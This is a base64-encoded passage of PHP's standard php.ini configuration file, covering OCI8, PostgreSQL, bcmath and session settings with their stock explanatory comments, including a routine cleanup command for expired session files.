FuZCBzcGVjaWZpZXMgaG93CjsgbWFueSBzdGF0ZW1lbnRzIHRvIGNhY2hlLiBVc2luZyAwIGRpc2FibGVzIHN0YXRlbWVudCBjYWNoaW5nLgo7IGh0dHA6Ly9waHAubmV0L29jaTguc3RhdGVtZW50LWNhY2hlLXNpemUKO29jaTguc3RhdGVtZW50X2NhY2hlX3NpemUgPSAyMAoKOyBUdW5pbmc6IEVuYWJsZXMgc3RhdGVtZW50IHByZWZldGNoaW5nIGFuZCBzZXRzIHRoZSBkZWZhdWx0IG51bWJlciBvZgo7IHJvd3MgdGhhdCB3aWxsIGJlIGZldGNoZWQgYXV0b21hdGljYWxseSBhZnRlciBzdGF0ZW1lbnQgZXhlY3V0aW9uLgo7IGh0dHA6Ly9waHAubmV0L29jaTguZGVmYXVsdC1wcmVmZXRjaAo7b2NpOC5kZWZhdWx0X3ByZWZldGNoID0gMTAwCgo7IENvbXBhdGliaWxpdHkuIFVzaW5nIE9uIG1lYW5zIG9jaV9jbG9zZSgpIHdpbGwgbm90IGNsb3NlCjsgb2NpX2Nvbm5lY3QoKSBhbmQgb2NpX25ld19jb25uZWN0KCkgY29ubmVjdGlvbnMuCjsgaHR0cDovL3BocC5uZXQvb2NpOC5vbGQtb2NpLWNsb3NlLXNlbWFudGljcwo7b2NpOC5vbGRfb2NpX2Nsb3NlX3NlbWFudGljcyA9IE9mZgoKW1Bvc3RncmVTUUxdCjsgQWxsb3cgb3IgcHJldmVudCBwZXJzaXN0ZW50IGxpbmtzLgo7IGh0dHA6Ly9waHAubmV0L3Bnc3FsLmFsbG93LXBlcnNpc3RlbnQKcGdzcWwuYWxsb3dfcGVyc2lzdGVudCA9IE9uCgo7IERldGVjdCBicm9rZW4gcGVyc2lzdGVudCBsaW5rcyBhbHdheXMgd2l0aCBwZ19wY29ubmVjdCgpLgo7IEF1dG8gcmVzZXQgZmVhdHVyZSByZXF1aXJlcyBhIGxpdHRsZSBvdmVyaGVhZHMuCjsgaHR0cDovL3BocC5uZXQvcGdzcWwuYXV0by1yZXNldC1wZXJzaXN0ZW50CnBnc3FsLmF1dG9fcmVzZXRfcGVyc2lzdGVudCA9IE9mZgoKOyBNYXhpbXVtIG51bWJlciBvZiBwZXJzaXN0ZW50IGxpbmtzLiAgLTEgbWVhbnMgbm8gbGltaXQuCjsgaHR0cDovL3BocC5uZXQvcGdzcWwubWF4LXBlcnNpc3RlbnQKcGdzcWwubWF4X3BlcnNpc3RlbnQgPSAtMQoKOyBNYXhpbXVtIG51bWJlciBvZiBsaW5rcyAocGVyc2lzdGVudCtub24gcGVyc2lzdGVudCkuICAtMSBtZWFucyBubyBsaW1pdC4KOyBodHRwOi8vcGhwLm5ldC9wZ3NxbC5tYXgtbGlua3MKcGdzcWwubWF4X2xpbmtzID0gLTEKCjsgSWdub3JlIFBvc3RncmVTUUwgYmFja2VuZHMgTm90aWNlIG1lc3NhZ2Ugb3Igbm90Lgo7IE5vdGljZSBtZXNzYWdlIGxvZ2dpbmcgcmVxdWlyZSBhIGxpdHRsZSBvdmVyaGVhZHMuCjsgaHR0cDovL3BocC5uZXQvcGdzcWwuaWdub3JlLW5vdGljZQpwZ3NxbC5pZ25vcmVfbm90aWNlID0gMAoKOyBMb2cgUG9zdGdyZVNRTCBiYWNrZW5kcyBOb3RpY2UgbWVzc2FnZSBvciBub3QuCjsgVW5sZXNzIHBnc3FsLmlnbm9yZV9ub3RpY2U9MCwgbW9kdWxlIGNhbm5vdCBsb2cgbm90aWNlIG1lc3NhZ2UuCjsgaHR0cDovL3BocC5uZXQvcGdzcWwubG9nLW5vdGljZQpwZ3NxbC5sb2dfbm90aWNlID0gMAoKW2JjbWF0aF0KOyBOdW1iZXIgb2YgZGVjaW1hbCBkaWdpdHMgZm9yIGFsbCBiY21hdGggZnVuY3Rpb25zLgo7IGh0dHA6Ly9waHAubmV0L2JjbWF0aC5zY2FsZQpiY21hdGguc2NhbGUgPSAwCgpbYnJvd3NjYXBdCjsgaHR0cDovL3BocC5uZXQvYnJvd3NjYXAKO2Jyb3dzY2FwID0gZXh0cmEvYnJvd3NjYXAuaW5pCgpbU2Vzc2lvbl0KOyBIYW5kbGVyIHVzZWQgdG8gc3RvcmUvcmV0cmlldmUgZGF0YS4KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnNhdmUtaGFuZGxlcgpzZXNzaW9uLnNhdmVfaGFuZGxlciA9IGZpbGVzCgo7IEFyZ3VtZW50IHBhc3NlZCB0byBzYXZlX2hhbmRsZXIuICBJbiB0aGUgY2FzZSBvZiBmaWxlcywgdGhpcyBpcyB0aGUgcGF0aAo7IHdoZXJlIGRhdGEgZmlsZXMgYXJlIHN0b3JlZC4gTm90ZTogV2luZG93cyB1c2VycyBoYXZlIHRvIGNoYW5nZSB0aGlzCjsgdmFyaWFibGUgaW4gb3JkZXIgdG8gdXNlIFBIUCZhcG9zO3Mgc2Vzc2lvbiBmdW5jdGlvbnMuCjsKOyBUaGUgcGF0aCBjYW4gYmUgZGVmaW5lZCBhczoKOwo7ICAgICBzZXNzaW9uLnNhdmVfcGF0aCA9ICZxdW90O047L3BhdGgmcXVvdDsKOwo7IHdoZXJlIE4gaXMgYW4gaW50ZWdlci4gIEluc3RlYWQgb2Ygc3RvcmluZyBhbGwgdGhlIHNlc3Npb24gZmlsZXMgaW4KOyAvcGF0aCwgd2hhdCB0aGlzIHdpbGwgZG8gaXMgdXNlIHN1YmRpcmVjdG9yaWVzIE4tbGV2ZWxzIGRlZXAsIGFuZAo7IHN0b3JlIHRoZSBzZXNzaW9uIGRhdGEgaW4gdGhvc2UgZGlyZWN0b3JpZXMuICBUaGlzIGlzIHVzZWZ1bCBpZgo7IHlvdXIgT1MgaGFzIHByb2JsZW1zIHdpdGggbWFueSBmaWxlcyBpbiBvbmUgZGlyZWN0b3J5LCBhbmQgaXMKOyBhIG1vcmUgZWZmaWNpZW50IGxheW91dCBmb3Igc2VydmVycyB0aGF0IGhhbmRsZSBtYW55IHNlc3Npb25zLgo7CjsgTk9URSAxOiBQSFAgd2lsbCBub3QgY3JlYXRlIHRoaXMgZGlyZWN0b3J5IHN0cnVjdHVyZSBhdXRvbWF0aWNhbGx5Lgo7ICAgICAgICAgWW91IGNhbiB1c2UgdGhlIHNjcmlwdCBpbiB0aGUgZXh0L3Nlc3Npb24gZGlyIGZvciB0aGF0IHB1cnBvc2UuCjsgTk9URSAyOiBTZWUgdGhlIHNlY3Rpb24gb24gZ2FyYmFnZSBjb2xsZWN0aW9uIGJlbG93IGlmIHlvdSBjaG9vc2UgdG8KOyAgICAgICAgIHVzZSBzdWJkaXJlY3RvcmllcyBmb3Igc2Vzc2lvbiBzdG9yYWdlCjsKOyBUaGUgZmlsZSBzdG9yYWdlIG1vZHVsZSBjcmVhdGVzIGZpbGVzIHVzaW5nIG1vZGUgNjAwIGJ5IGRlZmF1bHQuCjsgWW91IGNhbiBjaGFuZ2UgdGhhdCBieSB1c2luZwo7CjsgICAgIHNlc3Npb24uc2F2ZV9wYXRoID0gJnF1b3Q7TjtNT0RFOy9wYXRoJnF1b3Q7CjsKOyB3aGVyZSBNT0RFIGlzIHRoZSBvY3RhbCByZXByZXNlbnRhdGlvbiBvZiB0aGUgbW9kZS4gTm90ZSB0aGF0IHRoaXMKOyBkb2VzIG5vdCBvdmVyd3JpdGUgdGhlIHByb2Nlc3MmYXBvcztzIHVtYXNrLgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uc2F2ZS1wYXRoCjtzZXNzaW9uLnNhdmVfcGF0aCA9ICZxdW90Oy90bXAmcXVvdDsKCjsgV2hldGhlciB0byB1c2Ugc3RyaWN0IHNlc3Npb24gbW9kZS4KOyBTdHJpY3Qgc2Vzc2lvbiBtb2RlIGRvZXMgbm90IGFjY2VwdCBhbiB1bmluaXRpYWxpemVkIHNlc3Npb24gSUQsIGFuZAo7IHJlZ2VuZXJhdGVzIHRoZSBzZXNzaW9uIElEIGlmIHRoZSBicm93c2VyIHNlbmRzIGFuIHVuaW5pdGlhbGl6ZWQgc2Vzc2lvbiBJRC4KOyBTdHJpY3QgbW9kZSBwcm90ZWN0cyBhcHBsaWNhdGlvbnMgZnJvbSBzZXNzaW9uIGZpeGF0aW9uIHZpYSBhIHNlc3Npb24gYWRvcHRpb24KOyB2dWxuZXJhYmlsaXR5LiBJdCBpcyBkaXNhYmxlZCBieSBkZWZhdWx0IGZvciBtYXhpbXVtIGNvbXBhdGliaWxpdHksIGJ1dAo7IGVuYWJsaW5nIGl0IGlzIGVuY291cmFnZWQuCjsgaHR0cHM6Ly93aWtpLnBocC5uZXQvcmZjL3N0cmljdF9zZXNzaW9ucwpzZXNzaW9uLnVzZV9zdHJpY3RfbW9kZSA9IDAKCjsgV2hldGhlciB0byB1c2UgY29va2llcy4KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVzZS1jb29raWVzCnNlc3Npb24udXNlX2Nvb2tpZXMgPSAxCgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uY29va2llLXNlY3VyZQo7c2Vzc2lvbi5jb29raWVfc2VjdXJlID0KCjsgVGhpcyBvcHRpb24gZm9yY2VzIFBIUCB0byBmZXRjaCBhbmQgdXNlIGEgY29va2llIGZvciBzdG9yaW5nIGFuZCBtYWludGFpbmluZwo7IHRoZSBzZXNzaW9uIGlkLiBXZSBlbmNvdXJhZ2UgdGhpcyBvcGVyYXRpb24gYXMgaXQmYXBvcztzIHZlcnkgaGVscGZ1bCBpbiBjb21iYXRpbmcKOyBzZXNzaW9uIGhpamFja2luZyB3aGVuIG5vdCBzcGVjaWZ5aW5nIGFuZCBtYW5hZ2luZyB5b3VyIG93biBzZXNzaW9uIGlkLiBJdCBpcwo7IG5vdCB0aGUgYmUtYWxsIGFuZCBlbmQtYWxsIG9mIHNlc3Npb24gaGlqYWNraW5nIGRlZmVuc2UsIGJ1dCBpdCZhcG9zO3MgYSBnb29kIHN0YXJ0Lgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24udXNlLW9ubHktY29va2llcwpzZXNzaW9uLnVzZV9vbmx5X2Nvb2tpZXMgPSAxCgo7IE5hbWUgb2YgdGhlIHNlc3Npb24gKHVzZWQgYXMgY29va2llIG5hbWUpLgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24ubmFtZQpzZXNzaW9uLm5hbWUgPSBQSFBTRVNTSUQKCjsgSW5pdGlhbGl6ZSBzZXNzaW9uIG9uIHJlcXVlc3Qgc3RhcnR1cC4KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmF1dG8tc3RhcnQKc2Vzc2lvbi5hdXRvX3N0YXJ0ID0gMAoKOyBMaWZldGltZSBpbiBzZWNvbmRzIG9mIGNvb2tpZSBvciwgaWYgMCwgdW50aWwgYnJvd3NlciBpcyByZXN0YXJ0ZWQuCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5jb29raWUtbGlmZXRpbWUKc2Vzc2lvbi5jb29raWVfbGlmZXRpbWUgPSAwCgo7IFRoZSBwYXRoIGZvciB3aGljaCB0aGUgY29va2llIGlzIHZhbGlkLgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uY29va2llLXBhdGgKc2Vzc2lvbi5jb29raWVfcGF0aCA9IC8KCjsgVGhlIGRvbWFpbiBmb3Igd2hpY2ggdGhlIGNvb2tpZSBpcyB2YWxpZC4KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmNvb2tpZS1kb21haW4Kc2Vzc2lvbi5jb29raWVfZG9tYWluID0KCjsgV2hldGhlciBvciBub3QgdG8gYWRkIHRoZSBodHRwT25seSBmbGFnIHRvIHRoZSBjb29raWUsIHdoaWNoIG1ha2VzIGl0CjsgaW5hY2Nlc3NpYmxlIHRvIGJyb3dzZXIgc2NyaXB0aW5nIGxhbmd1YWdlcyBzdWNoIGFzIEphdmFTY3JpcHQuCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5jb29raWUtaHR0cG9ubHkKc2Vzc2lvbi5jb29raWVfaHR0cG9ubHkgPQoKOyBBZGQgU2FtZVNpdGUgYXR0cmlidXRlIHRvIGNvb2tpZSB0byBoZWxwIG1pdGlnYXRlIENyb3NzLVNpdGUgUmVxdWVzdCBGb3JnZXJ5IChDU1JGL1hTUkYpCjsgQ3VycmVudCB2YWxpZCB2YWx1ZXMgYXJlICZxdW90O1N0cmljdCZxdW90OywgJnF1b3Q7TGF4JnF1b3Q7IG9yICZxdW90O05vbmUmcXVvdDsuIFdoZW4gdXNpbmcgJnF1b3Q7Tm9uZSZxdW90OywKOyBtYWtlIHN1cmUgdG8gaW5jbHVkZSB0aGUgcXVvdGVzLCBhcyBgbm9uZWAgaXMgaW50ZXJwcmV0ZWQgbGlrZSBgZmFsc2VgIGluIGluaSBmaWxlcy4KOyBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvZHJhZnQtd2VzdC1maXJzdC1wYXJ0eS1jb29raWVzLTA3CnNlc3Npb24uY29va2llX3NhbWVzaXRlID0KCjsgSGFuZGxlciB1c2VkIHRvIHNlcmlhbGl6ZSBkYXRhLiBwaHAgaXMgdGhlIHN0YW5kYXJkIHNlcmlhbGl6ZXIgb2YgUEhQLgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uc2VyaWFsaXplLWhhbmRsZXIKc2Vzc2lvbi5zZXJpYWxpemVfaGFuZGxlciA9IHBocAoKOyBEZWZpbmVzIHRoZSBwcm9iYWJpbGl0eSB0aGF0IHRoZSAmYXBvcztnYXJiYWdlIGNvbGxlY3Rpb24mYXBvczsgcHJvY2VzcyBpcyBzdGFydGVkIG9uIGV2ZXJ5Cjsgc2Vzc2lvbiBpbml0aWFsaXphdGlvbi4gVGhlIHByb2JhYmlsaXR5IGlzIGNhbGN1bGF0ZWQgYnkgdXNpbmcgZ2NfcHJvYmFiaWxpdHkvZ2NfZGl2aXNvciwKOyBlLmcuIDEvMTAwIG1lYW5zIHRoZXJlIGlzIGEgMSUgY2hhbmNlIHRoYXQgdGhlIEdDIHByb2Nlc3Mgc3RhcnRzIG9uIGVhY2ggcmVxdWVzdC4KOyBEZWZhdWx0IFZhbHVlOiAxCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IDEKOyBQcm9kdWN0aW9uIFZhbHVlOiAxCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5nYy1wcm9iYWJpbGl0eQpzZXNzaW9uLmdjX3Byb2JhYmlsaXR5ID0gMQoKOyBEZWZpbmVzIHRoZSBwcm9iYWJpbGl0eSB0aGF0IHRoZSAmYXBvcztnYXJiYWdlIGNvbGxlY3Rpb24mYXBvczsgcHJvY2VzcyBpcyBzdGFydGVkIG9uIGV2ZXJ5Cjsgc2Vzc2lvbiBpbml0aWFsaXphdGlvbi4gVGhlIHByb2JhYmlsaXR5IGlzIGNhbGN1bGF0ZWQgYnkgdXNpbmcgZ2NfcHJvYmFiaWxpdHkvZ2NfZGl2aXNvciwKOyBlLmcuIDEvMTAwIG1lYW5zIHRoZXJlIGlzIGEgMSUgY2hhbmNlIHRoYXQgdGhlIEdDIHByb2Nlc3Mgc3RhcnRzIG9uIGVhY2ggcmVxdWVzdC4KOyBGb3IgaGlnaCB2b2x1bWUgcHJvZHVjdGlvbiBzZXJ2ZXJzLCB1c2luZyBhIHZhbHVlIG9mIDEwMDAgaXMgYSBtb3JlIGVmZmljaWVudCBhcHByb2FjaC4KOyBEZWZhdWx0IFZhbHVlOiAxMDAKOyBEZXZlbG9wbWVudCBWYWx1ZTogMTAwMAo7IFByb2R1Y3Rpb24gVmFsdWU6IDEwMDAKOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmdjLWRpdmlzb3IKc2Vzc2lvbi5nY19kaXZpc29yID0gMTAwMAoKOyBBZnRlciB0aGlzIG51bWJlciBvZiBzZWNvbmRzLCBzdG9yZWQgZGF0YSB3aWxsIGJlIHNlZW4gYXMgJmFwb3M7Z2FyYmFnZSZhcG9zOyBhbmQKOyBjbGVhbmVkIHVwIGJ5IHRoZSBnYXJiYWdlIGNvbGxlY3Rpb24gcHJvY2Vzcy4KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmdjLW1heGxpZmV0aW1lCnNlc3Npb24uZ2NfbWF4bGlmZXRpbWUgPSAxNDQwCgo7IE5PVEU6IElmIHlvdSBhcmUgdXNpbmcgdGhlIHN1YmRpcmVjdG9yeSBvcHRpb24gZm9yIHN0b3Jpbmcgc2Vzc2lvbiBmaWxlcwo7ICAgICAgIChzZWUgc2Vzc2lvbi5zYXZlX3BhdGggYWJvdmUpLCB0aGVuIGdhcmJhZ2UgY29sbGVjdGlvbiBkb2VzICpub3QqCjsgICAgICAgaGFwcGVuIGF1dG9tYXRpY2FsbHkuICBZb3Ugd2lsbCBuZWVkIHRvIGRvIHlvdXIgb3duIGdhcmJhZ2UKOyAgICAgICBjb2xsZWN0aW9uIHRocm91Z2ggYSBzaGVsbCBzY3JpcHQsIGNyb24gZW50cnksIG9yIHNvbWUgb3RoZXIgbWV0aG9kLgo7ICAgICAgIEZvciBleGFtcGxlLCB0aGUgZm9sbG93aW5nIHNjcmlwdCBpcyB0aGUgZXF1aXZhbGVudCBvZiBzZXR0aW5nCjsgICAgICAgc2Vzc2lvbi5nY19tYXhsaWZldGltZSB0byAxNDQwICgxNDQwIHNlY29uZHMgPSAyNCBtaW51dGVzKToKOyAgICAgICAgICBmaW5kIC9wYXRoL3RvL3Nlc3Npb25zIC1jbWluICsyNCAtdHlwZSBmIHwgeGFyZ3Mgcm0KCjsgQ2hlY2sgSFRUUCBSZWZlcmVyIHRvIGludmFsaWRhdGUgZXh0ZXJuYWxseSBzdG9yZWQgVVJMcyBjb250YWluaW5nIGlkcy4KOyBIVFRQX1JFRkVSRVIgaGFzIHRvIGNvbnRhaW4gdGhpcyBzdWJzdHJpbmcgZm9yIHRoZSBzZXNzaW9uIHRvIGJlCjsgY29uc2lkZXJlZCBhcyB2YWxpZC4KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnJlZmVyZXItY2hlY2sKc2Vzc2lvbi5yZWZlcmVyX2NoZWNrID0KCjsgU2V0IHRvIHtub2NhY2hlLHByaXZhdGUscHVibGljLH0gdG8gZGV0ZXJtaW5lIEhUVFAgY2FjaGluZyBhc3BlY3RzCjsgb3IgbGVhdmUgdGhpcyBlbXB0eSB0byBhdm9pZCBzZW5kaW5nIGFudGktY2FjaGluZyBoZWFkZXJzLgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uY2FjaGUtbGltaXRlcgpzZXNzaW9uLmNhY2hlX2xpbWl0ZXIgPSBub2NhY2hlCgo7IERvY3VtZW50IGV4cGlyZXMgYWZ0ZXIgbiBtaW51dGVzLgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uY2FjaGUtZXhwaXJlCnNlc3Npb24uY2FjaGVfZXhwaXJlID0gMTgwCgo7IHRyYW5zIHNpZCBzdXBwb3J0IGlzIGRpc2FibGVkIGJ5IGRlZmF1bHQuCjsgVXNlIG9mIHRyYW5zIHNpZCBtYXkgcmlzayB5b3VyIHVzZXJzJmFwb3M7IHNlY3VyaXR5Lgo7IFVzZSB0aGlzIG9wdGlvbiB3aXRoIGNhdXRpb24uCjsgLSBVc2VyIG1heSBzZW5kIFVSTCBjb250YWlucyBhY3RpdmUgc2Vzc2lvbiBJRAo7ICAgdG8gb3RoZXIgcGVyc29uIHZpYS4gZW1haWwvaXJjL2V0Yy4KOyAtIFVSTCB0aGF0IGNvbnRhaW5zIGFjdGl2ZSBzZXNzaW9uIElEIG1heSBiZSBzdG9yZWQKOyAgIGluIHB1YmxpY2x5IGFjY2Vzc2libGUgY29tcHV0ZXIuCjsgLSBVc2VyIG1heSBhY2Nlc3MgeW91ciBzaXRlIHdpdGggdGhlIHNhbWUgc2Vzc2lvbiBJRAo7ICAgYWx3YXlzIHVzaW5nIFVSTCBzdG9yZWQgaW4gYnJvd3NlciZhcG9zO3MgaGlzdG9yeSBvciBib29rbWFya3MuCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi51c2UtdHJhbnMtc2lkCnNlc3Npb24udXNlX3RyYW5zX3NpZCA9IDAKCjsgU2V0IHNlc3Npb24gSUQgY2hhcmFjdGVyIGxlbmd0aC4gVGhpcyB2YWx1ZSBjb3VsZCBiZSBiZXR3ZWVuIDIyIHRvIDI1Ni4KOyBTaG9ydGVyIGxlbmd0aCB0aGFuIGRlZmF1bHQgaXMgc3VwcG9ydGVkIG9ubHkgZm9yIGNvbXBhdGliaWxpdHkgcmVhc29uLgo7IFVzZXJzIHNob3VsZCB1c2UgMzIgb3IgbW9yZSBjaGFycy4KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnNpZC1sZW5ndGgKOyBEZWZhdWx0IFZhbHVlOiAzMgo7IERldmVsb3BtZW50IFZhbHVlOiAyNgo7IFByb2R1Y3Rpb24gVmFsdWU6IDI2CnNlc3Npb24uc2lkX2xlbmd0aCA9IDI2Cgo7IFRoZSBVUkwgcmV3cml0ZXIgd2lsbCBsb29rIGZvciBVUkxzIGluIGEgZGVmaW5lZCBzZXQgb2YgSFRNTCB0YWdzLgo7ICZsdDtmb3JtJmd0OyBpcyBzcGVjaWFsOyBpZiB5b3UgaW5jbHVkZSB0aGVtIGhlcmUsIHRoZSByZXdyaXRlciB3aWxsCjsgYWRkIGEgaGlkZGVuICZsdDtpbnB1dCZndDsgZmllbGQgd2l0aCB0aGUgaW5mbyB3aGljaCBpcyBvdGhlcndpc2UgYXBwZW5kZWQKOyB0byBVUkxzLiAmbHQ7Zm9ybSZndDsgdGFnJmFwb3M7cyBhY3Rpb24gYXR0cmlidXRlIFVSTCB3aWxsIG5vdCBiZSBtb2RpZmllZAo7IHVubGVzcyBpdCBpcyBzcGVjaWZpZWQuCjsgTm90ZSB0aGF0IGFsbCB2YWxpZCBlbnRyaWVzIHJlcXVpcmUgYSAmcXVvdDs9JnF1b3Q7LCBldmVuIGlmIG5vIHZhbHVlIGZvbGxvd3MuCjsgRGVmYXVsdCBWYWx1ZTogJnF1b3Q7YT1ocmVmLGFyZWE9aHJlZixmcmFtZT1zcmMsZm9ybT0mcXVvdDsKOyBEZXZlbG9wbWVudCBWYWx1ZTogJnF1b3Q7YT1ocmVmLGFyZWE9aHJlZixmcmFtZT1zcmMsZm9ybT0mcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDthPWhyZWYsYXJlYT1ocmVmLGZyYW1lPXNyYyxmb3JtPSZxdW90Owo7IGh0dHA6Ly9waHAubmV0L3VybC1yZXdyaXRlci50YWdzCnNlc3Npb24udHJhbnNfc2lkX3RhZ3MgPSAmcXVvdDthPWhyZWYsYXJlYT1ocmVmLGZyYW1lPXNyYyxmb3JtPSZxdW90OwoKOyBVUkwgcmV3cml0ZXIgZG9lcyBub3QgcmV3cml0ZSBhYnNvbHV0ZSBVUkxzIGJ5IGRlZmF1bHQuCjsgVG8gZW5hYmxlIHJld3JpdGVzIGZvciBhYnNvbHV0ZSBwYXRocywgdGFyZ2V0IGhvc3RzIG11c3QgYmUgc3BlY2lmaWVkCjsgYXQgUlVOVElNRS4gaS5lLiB1c2UgaW5pX3NldCgpCjsgJmx0O2Zvcm0mZ3Q7IHRhZ3MgaXMgc3BlY2lhbC4gUEhQIHdpbGwgY2hlY2sgYWN0aW9uIGF0dHJpYnV0ZSZhcG9zO3MgVVJMIHJlZ2FyZGxlc3MKOyBvZiBzZXNzaW9uLnRyYW5zX3NpZF90YWdzIHNldHRpbmcuCjsgSWYgbm8gaG9zdCBpcyBkZWZpbmVkLCBIVFRQX0hPU1Qgd2lsbCBiZSB1c2VkIGZvciBhbGxvd2VkIGhvc3QuCjsgRXhhbXBsZSB2YWx1ZTogcGhwLm5ldCx3d3cucGhwLm5ldCx3aWtpLnBocC5uZXQKOyBVc2UgJnF1b3Q7LCZxdW90OyBmb3IgbXVsdGlwbGUgaG9zdHMuIE5vIHNwYWNlcyBhcmUgYWxsb3dlZC4KOyBEZWZhdWx0IFZhbHVlOiAmcXVvdDsmcXVvdDsKOyBEZXZlbG9wbWVudCBWYWx1ZTogJnF1b3Q7JnF1b3Q7CjsgUHJvZHVjdGlvbiBWYWx1ZTogJnF1b3Q7JnF1b3Q7CjtzZXNzaW9uLnRyYW5zX3NpZF9ob3N0cz0mcXVvdDsmcXVvdDsKCjsgRGVmaW5lIGhvdyBtYW55IGJpdHMgYXJlIHN0b3JlZCBpbiBlYWNoIGNoYXJhY3RlciB3aGVuIGNvbnZlcnRpbmcKOyB0aGUgYmluYXJ5IGhhc2ggZGF0YSB0byBzb21ldGhpbmcgcmVhZGFibGUuCjsgUG9zc2libGUgdmFsdWVzOgo7ICAgNCAgKDQgYml0czogMC05LCBhLWYpCjsgICA1ICAoNSBiaXRzOiAwLTksIGEtdikKOyAgIDYgICg2IGJpdHM6IDAtOSwgYS16LCBBLVosICZxdW90Oy0mcXVvdDssICZxdW90OywmcXVvdDspCjsgRGVmYXVsdCBWYWx1ZTogNAo7IERldmVsb3BtZW50IFZhbHVlOiA1CjsgUHJvZHVjdGlvbiBWYWx1ZTogNQo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uaGFzaC1iaXRzLXBlci1jaGFyYWN0ZXIKc2Vzc2lvbi5zaWRfYml0c19wZXJfY2hhcmFjdGVyID0gNQoKOyBFbmFibGUgdXBsb2FkIHByb2dyZXNzIHRyYWNraW5nIGluICRfU0VTU0lPTgo7IERlZmF1bHQgVmFsdWU6IE9uCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uCjsgUHJvZHVjdGlvbiBWYWx1ZTogT24KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVwbG9hZC1wcm9ncmVzcy5lbmFibGVkCjtzZXNzaW9uLnVwbG9hZF9wcm9ncmVzcy5lbmFibGVkID0gT24KCjsgQ2xlYW51cCB0aGUgcHJvZ3Jlc3MgaW5mb3JtYXRpb24gYXMgc29vbiBhcyBhbGwgUE9TVCBkYXRhIGhhcyBiZWVuIHJlYWQKOyAoaS5lLiB1cGxvYWQgY29tcGxldGVkKS4KOyBEZWZhdWx0IFZhbHVlOiBPbgo7IERldmVsb3BtZW50IFZhbHVlOiBPbgo7IFByb2R1Y3Rpb24gVmFsdWU6IE9uCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi51cGxvYWQtcHJvZ3Jlc3MuY2xlYW51cAo7c2Vzc2lvbi51cGxvYWRfcHJvZ3Jlc3MuY2xlYW51cCA9IE9uCgo7IEEgcHJlZml4IHVzZWQgZm9yIHRoZSB1cGxvYWQgcHJvZ3Jlc3Mga2V5IGluICRfU0VTU0lPTgo7IERlZmF1bHQgVmFsdWU6ICZxdW90O3VwbG9hZF9wcm9ncmVzc18mcXVvdDsKOyBEZXZlbG9wbWVudCBWYWx1ZTogJnF1b3Q7dXBsb2FkX3Byb2dyZXNzXyZxdW90Owo7IFByb2R1Y3Rpb24gVmFsdWU6ICZxdW90O3VwbG9hZF9wcm9ncmVzc18mcXVvdDsKOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVwbG9hZC1wcm9ncmVzcy5wcmVmaXgKO3Nlc3Npb24udXBsb2FkX3Byb2dyZXNzLnByZWZpeCA9ICZxdW90O3VwbG9hZF9wcm9ncmVzc18mcXVvdDsKCjsgVGhlIGluZGV4IG5hbWUgKGNvbmNhdGVuYXRlZCB3aXRoIHRoZSBwcmVmaXgpIGluICRfU0VTU0lPTgo7IGNvbnRhaW5pbmcgdGhlIHVwbG9hZCBwcm9ncmVzcyBpbmZvcm1hdGlvbgo7IERlZmF1bHQgVmFsdWU6ICZxdW90O1BIUF9TRVNTSU9OX1VQTE9BRF9QUk9HUkVTUyZxdW90Owo7IERldmVsb3BtZW50IFZhbHVlOiAmcXVvdDtQSFBfU0VTU0lPTl9VUExPQURfUFJPR1JFU1MmcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDtQSFBfU0VTU0lPTl9VUExPQURfUFJPR1JFU1MmcXVvdDsKOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVwbG9hZC1wcm9ncmVzcy5uYW1lCjtzZXNzaW9uLnVwbG9hZF9wcm9ncmVzcy5uYW1lID0gJnF1b3Q7UEhQX1NFU1NJT05fVVBMT0FEX1BST0dSRVNTJnF1b3Q7Cgo7IEhvdyBmcmVxdWVudGx5IHRoZSB1cGxvYWQgcHJvZ3Jlc3Mgc2hvdWxkIGJlIHVwZGF0ZWQuCjsgR2l2ZW4gZWl0aGVyIGluIHBlcmNlbnRhZ2VzIChwZXItZmlsZSksIG9yIGluIGJ5dGVzCjsgRGVmYXVsdCBWYWx1ZTogJnF1b3Q7MSUmcXVvdDsKOyBEZXZlbG9wbWVudCBWYWx1ZTogJnF1b3Q7MSUmcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDsxJSZxdW90Owo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24udXBsb2FkLXByb2dyZXNzLmZyZXEKO3Nlc3Npb24udXBsb2FkX3Byb2dyZXNzLmZyZXEgPSAgJnF1b3Q7MSUmcXVvdDsKCjsgVGhlIG1pbmltdW0gZGVsYXkgYmV0d2VlbiB1cGRhdGVzLCBpbiBzZWNvbmRzCjsgRGVmYXVsdCBWYWx1ZTogMQo7IERldmVsb3BtZW50IFZhbHVlOiAxCjsgUHJvZHVjdGlvbiBWYWx1ZTogMQo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24udXBsb2FkLXByb2dyZXNzLm1pbi1mcmVxCjtzZXNzaW9uLnVwbG9